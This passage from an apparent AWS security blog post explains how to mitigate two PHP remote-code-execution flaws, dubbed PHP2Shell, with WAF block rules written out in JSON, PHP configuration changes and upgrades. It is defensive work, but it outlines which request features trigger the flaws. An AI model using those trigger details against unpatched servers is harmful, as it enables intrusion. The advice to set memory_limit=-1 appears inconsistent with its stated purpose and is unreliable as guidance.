guidance, see the official PHP advisories and release announcement: CVE-2026-109618 (out-of-memory corruption) – PHP advisory GHSA-w8hw-w9fx-j79w CVE-2026-109619 (stale global state) – PHP advisory GHSA-6wmf-4rv5-p3rp PHP security release announcement, October 21, 2026 Where AWS WAF fits in your response AWS WAF is a defense-in-depth control in this situation, not a replacement for the PHP upgrade. The PHP advisories are explicit: updating to a patched release is the only complete mitigation. One of the two vulnerabilities is largely outside the reach of any web application firewall, as explained later. Treat the rules in this post as mitigating controls that help reduce exposure while you patch, then remove them or keep them as supporting controls after you’ve patched. AWS WAF inspects HTTP requests at the edge. It doesn’t parse the internal structure of a multipart body, and it has no visibility into PHP worker memory or server-side configuration. The following table maps each attack element to whether AWS WAF can help mitigate it. Attack element AWS WAF coverage Session upload progress field in a multipart POST ( PHP_SESSION_UPLOAD_PROGRESS , the form field that turns on PHP’s upload-tracking feature) Yes. A targeted rule can block requests carrying that field. Multipart upload path ( multipart/form-data , the request type used for file uploads and the entry point for both vulnerabilities) Yes, if the application has no legitimate multipart uploads. Block multipart/form-data. Out-of-memory condition from an oversized body Partial. Cap the request body size. Doesn’t catch header amplification (many small part headers that cost far more memory to represent than their size on the wire) that stays under the cap. Repeated attempts against the same worker (the reused PHP process that handles many requests) Yes. A rate-based rule blunts the volume an exploit needs. fatal_error_backtraces producer (a PHP 8.5 setting that stores crash-trace state across a request) No. This is a server configuration setting ( fatal_error_backtraces=0 ). Invalid or deprecated INI diagnostics as a consumer (warnings PHP raises when applying bad configuration settings) No. This path runs server-side, not over client HTTP. Where an application does not accept multipart uploads, an edge rule that blocks multipart/form-data removes the multipart out-of-memory path that works against any application, plus the session-upload-progress trigger, which is a defense-in-depth control during the patch window. If your application does use multipart uploads, AWS WAF reduces risk but does not close the vulnerability, because header amplification (a few kilobytes of part headers that expand into far more memory inside PHP) stays within size limits and the firewall cannot parse the headers inside individual body parts. In that case, prioritize the PHP upgrade and apply the server-side mitigations described later. Implementing the AWS WAF rules The rules below are AWS WAFv2 JSON, deploy each of them on the WAF protection pack (web ACL) associated with the Amazon CloudFront distribution, Application Load Balancer, or Amazon API Gateway stage in front of your PHP workloads. IMPORTANT: Before implementing any changes, ensure that your WAFv2 logging is setup in line with AWS WAF Logging guidance. Start every rule in Count mode, confirm it does not match legitimate traffic, then switch to Block. Request body inspection limits AWS WAF inspects a bounded portion of the request body. On Application Load Balancer and AWS AppSync the limit is a fixed 8 KB. For AWS services such as CloudFront and API Gateway, the default is 16 KB and you can raise it to 32, 48, or 64 KB through the web ACL AssociationConfig as seen below. Any part of the body beyond the inspection limit counts as oversize. Choose the limit that fits the rules you deploy, because a body-size rule can only enforce a cap up to the inspected size. aws wafv2 update-web-acl ... --association-config \ 'RequestBody={CLOUDFRONT={DefaultSizeInspectionLimit=KB_16}}' AWS WAF Rule This rule targets both CVEs by blocking a request only when all three conditions in its AndStatement are true at once: The method is exactly POST – matched on the HTTP method, no transformation. A PHP session identifier is present (the nested OrStatement , so either sub-condition satisfies this leg): PHPSESSID appears as a cookie key (exact match on the key, scanning all cookies), or PHPSESSID appears anywhere in the request body (contains match). The body contains PHP_SESSION_UPLOAD_PROGRESS – the form field that activates PHP’s session upload progress feature. Pair the rule with session.upload_progress.enabled=0 on the server, which turns the feature off. { "Name": "PHP2Shell", "Priority": 0, "Statement": { "AndStatement": { "Statements": [ { "ByteMatchStatement": { "SearchString": "POST", "FieldToMatch": { "Method": {} }, "TextTransformations": [ { "Priority": 0, "Type": "NONE" } ], "PositionalConstraint": "EXACTLY" } }, { "OrStatement": { "Statements": [ { "ByteMatchStatement": { "SearchString": "PHPSESSID", "FieldToMatch": { "Cookies": { "MatchPattern": { "All": {} }, "MatchScope": "KEY", "OversizeHandling": "CONTINUE" } }, "TextTransformations": [ { "Priority": 0, "Type": "NONE" } ], "PositionalConstraint": "EXACTLY" } }, { "ByteMatchStatement": { "SearchString": "PHPSESSID", "FieldToMatch": { "Body": { "OversizeHandling": "CONTINUE" } }, "TextTransformations": [ { "Priority": 0, "Type": "NONE" } ], "PositionalConstraint": "CONTAINS" } } ] } }, { "ByteMatchStatement": { "SearchString": "PHP_SESSION_UPLOAD_PROGRESS", "FieldToMatch": { "Body": { "OversizeHandling": "CONTINUE" } }, "TextTransformations": [ { "Priority": 0, "Type": "NONE" } ], "PositionalConstraint": "CONTAINS" } } ] } }, "Action": { "Block": {} }, "VisibilityConfig": { "SampledRequestsEnabled": true, "CloudWatchMetricsEnabled": true, "MetricName": "PHP2Shell" } } Additional WAF Rules to consider Block multipart requests when the application has no uploads NOTE: This rule, if implemented in Block mode, will break applications that require file uploads. If your application does not require file uploads, then blocking multipart/form-data removes the multipart out-of-memory path that works against any application for both CVEs at the edge. A single named header is inspected in full, with no 8 KB header cap, so matching the Content-Type header is reliable. { "Name": "Block-Multipart-FormData", "Priority": 1, "Action": { "Count": {} }, "Statement": { "ByteMatchStatement": { "FieldToMatch": { "SingleHeader": { "Name": "content-type" } }, "PositionalConstraint": "CONTAINS", "SearchString": "multipart/form-data", "TextTransformations": [ { "Priority": 0, "Type": "LOWERCASE" } ] } }, "VisibilityConfig": { "SampledRequestsEnabled": true, "CloudWatchMetricsEnabled": true, "MetricName": "PHP2ShellBlockMultipart" } } Cap the request body size Capping body size reduces the out-of-memory condition behind CVE-2026-109618 and the stale state it can leave behind. Use OversizeHandling: MATCH with a size constraint so that any body larger than the threshold is blocked, including bodies that exceed the inspection limit. To enforce a cap of N bytes, the web ACL body inspection limit must be at least N. Note that you can’t cap the numeric Content-Length with a size constraint, because the constraint measures the length of the header value string, not the number it contains. If your application has legitimate large uploads, scope this rule to non-upload paths with an AndStatement on the URI path, or it will break those uploads. { "Name": "Block-Oversize-Body", "Priority": 3, "Action": { "Count": {} }, "Statement": { "SizeConstraintStatement": { "FieldToMatch": { "Body": { "OversizeHandling": "MATCH" } }, "ComparisonOperator": "GT", "Size": 8192, "TextTransformations": [ { "Priority": 0, "Type": "NONE" } ] } }, "VisibilityConfig": { "SampledRequestsEnabled": true, "CloudWatchMetricsEnabled": true, "MetricName": "PHP2ShellBlockOversizeBody" } } NOTE: if you already have the AWSManagedRulesCommonRuleSet managed rule group, the SizeRestrictions_BODY rule blocks bodies larger than 8 KB by default. If a specific managed rule breaks legitimate traffic, override that rule to Count rather than disabling the whole group. Rate-limit repeated attempts A rate-based rule on POST requests can reduce the volume an attacker can send, lowering the possibility that the vulnerabilities can be triggered by overloading the worker, while the stale-state path needs a producer request and a consumer request to land on the same worker. This rule complements a server setting of pm.max_requests=1 , which recycles the worker on each request. { "Name": "RateLimit-Posts", "Priority": 4, "Action": { "Count": {} }, "Statement": { "RateBasedStatement": { "Limit": 100, "EvaluationWindowSec": 60, "AggregateKeyType": "IP", "ScopeDownStatement": { "ByteMatchStatement": { "FieldToMatch": { "Method": {} }, "PositionalConstraint": "EXACTLY", "SearchString": "POST", "TextTransformations": [ { "Priority": 0, "Type": "NONE" } ] } } } }, "VisibilityConfig": { "SampledRequestsEnabled": true, "CloudWatchMetricsEnabled": true, "MetricName": "PHP2ShellRateLimitPosts" } } Server-side mitigations that complement AWS WAF These host and runtime changes address the parts of CVE-2026-109619 that sit below the HTTP layer a WAF inspects, so they fall outside its scope by design. Apply them alongside the AWS WAF rules as the host and runtime layer of your defense. Upgrade PHP to 8.5.12, 8.4.27, 8.3.36, or 8.2.35. This is the only complete fix. PHP 8.1 and earlier are no longer supported upstream, so check with your distribution or long-term support vendor for a backported fix, or plan a move to a supported branch. Address CVE-2026-109618 at the PHP level. Set memory_limit=-1 so applications cannot override it, and keep post_max_size low (8M where the application accepts no uploads, 32M where it does). Enforce memory bounds through container or cgroup limits, never through RLIMIT_AS or RLIMIT_DATA, which trigger the vulnerable out-of-memory path. Set fatal_error_backtraces=0 on PHP 8.5 and restart every worker. This disables the setting that stores crash-trace state across a request, one of the confirmed ways the vulnerability is triggered. Set session.upload_progress.enabled=0 and restart every worker. This turns off the upload-tracking feature that’s the other confirmed trigger, and is prudent to keep off even after patching. Prefer php.ini , FPM pool, or server startup configuration over per-request INI overrides (settings applied per request through .htaccess , php_value , or FastCGI PHP_VALUE) . Remove obsolete directives so they don’t raise diagnostic warnings. Eliminate fatal errors and execution timeouts on attacker-reachable routes, including upload, import, error-page, shutdown, serialization, and extension paths. Set pm.max_requests=1 if performance allows , so each worker process is recycled after one request, which breaks the link between the request that plants stale data and a later request that would reuse it. Turn on error logging ( log_errors=On , a working error_log , error_reporting=E_ALL ) and review your Apache, FPM, or proxy logs for repeated warnings, deprecations, fatal errors, and timeouts on attacker-controlled routes. The absence of errors is not proof of safety. Getting started Complete the following steps to get started: Inventory where PHP runs and which versions and server APIs (mod_php, FPM, FrankenPHP, LSAPI) are in use. Identify any public endpoint that accepts a request body. Decide whether each application uses multipart uploads. This determines whether you can deploy the WAF rule to block multipart requests. Create or update the web ACL in front of each PHP workload and add the applicable rules in Count mode. Raise the body inspection limit on CloudFront or API Gateway if a rule needs it. Watch the sampled requests and Amazon CloudWatch metrics for each rule. Confirm that legitimate uploads and large JSON POSTs aren’t matched. Switch the rules to Block after the metrics are clean. Order the priorities so the session upload progress and multipart rules run before the size and rate rules. Test with a benign multipart/form-data POST, an oversized body, and a request carrying PHP_SESSION_UPLOAD_PROGRESS . Expect a 403 response and the matching rule metric. In parallel, apply the PHP upgrade and the configuration mitigations. Remove or retain the AWS WAF rules as supporting controls after your fleet is patched. Conclusion The PHP2Shell vulnerabilities—CVE-2026-109618 and CVE-2026-109619—are unauthenticated RCE vulnerabilities that reach PHP before your application code runs. AWS WAF gives you a way to help narrow the attack surface during the patch window: block the session upload progress field, block multipart requests where no uploads are expected, cap request body size, and rate-limit repeated attempts. These mitigating controls can help reduce exposure, but they don’t close the vulnerabilities. Upgrade PHP to a fixed release, apply the server configuration changes, and treat the AWS WAF rules as the edge layer that supports those fixes rather than the fix itself. To learn more about the rule types used here, see the AWS WAF documentation on the web ACL body inspection limit , oversize request component handling , and handling oversize HTTP request bodies . For the vulnerability details, see the PHP advisories GHSA-w8hw-w9fx-j79w and GHSA-6wmf-4rv5-p3rp , and the PHP session upload progress manual . Alex Waddell Alex Waddell is a Principal Solutions Architect at AWS specializing in security within the Worldwide Specialist Organization, based in Scotland. Alex has been working in the security domain since 1999 and joined AWS in 2021 to work with customers across EMEA on cloud security architecture, identity, threat detection and application security. When he is not working, Alex enjoys spending time sampling rum from around the world (Alex is one of those rarely found Scottish people that doesn’t like whisky), walking his dogs in the local forest trails and traveling. Lawton Pittenger Lawton is a Worldwide Security Specialist Solutions Architect at AWS, based in New York City. He specializes in helping customers design and implement effective network security controls. At AWS, he works with customers at scale and collaborates closely with service teams to drive continuous improvement in security services based on customer needs and feedback. Outside of work, his interests include skateboarding, snowboarding, and spending time in nature. Ian Olson Ian is a Senior Security Specialist Solutions Architect at AWS. He helps customers automate security services to safeguard against threats like DDoS and web exploitations. Through intelligent automation, he delivers security solutions tailored to organizations of any scale. When he’s not working, Ian enjoys spending quality time with his two young children.
9 shared
Oct 22, 2026